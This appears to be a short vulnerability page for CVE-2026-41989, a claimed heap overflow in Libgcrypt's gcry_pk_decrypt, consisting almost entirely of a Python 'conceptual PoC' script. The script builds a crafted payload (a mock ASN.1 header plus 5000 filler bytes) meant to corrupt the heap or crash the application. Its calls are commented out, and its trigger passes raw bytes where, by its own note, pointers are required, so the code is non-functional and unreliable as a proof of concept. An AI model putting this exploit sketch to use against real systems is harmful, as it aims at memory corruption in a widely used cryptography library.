CVE-2026-41989 Libgcrypt堆溢出漏洞

import ctypes # Conceptual PoC for CVE-2026-41989 # This script demonstrates the logic to trigger the heap overflow. # The vulnerable function is gcry_pk_decrypt in Libgcrypt < 1.12.2. # Load the library (path may vary) # libgcrypt = ctypes.CDLL("libgcrypt.so.20") # Construct a crafted ECDH ciphertext. # The payload is designed to bypass initial checks and trigger the overflow. # Example structure: Header + Overflow Data malicious_header = b"\x30\x82\x01\x0a" # Mock ASN.1 sequence header overflow_data = b"A" * 5000 # Excessive data to overflow heap buffer payload = malicious_header + overflow_data # Initialize Libgcrypt (Required in real usage) # libgcrypt.gcry_control(1, 0) # GCRYCTL_DISABLE_SECMEM # libgcrypt.gcry_check_version(None) # Trigger the vulnerability # Note: Actual function signature requires valid S-expressions as pointers. # This is a conceptual representation of passing the payload. # print("[+] Sending crafted payload to gcry_pk_decrypt...") # result = libgcrypt.gcry_pk_decrypt(ctypes.c_void_p(), payload, len(payload)) # If successful, the application should crash or heap corruption occurs. # print("[!] Payload sent. Check for crash.")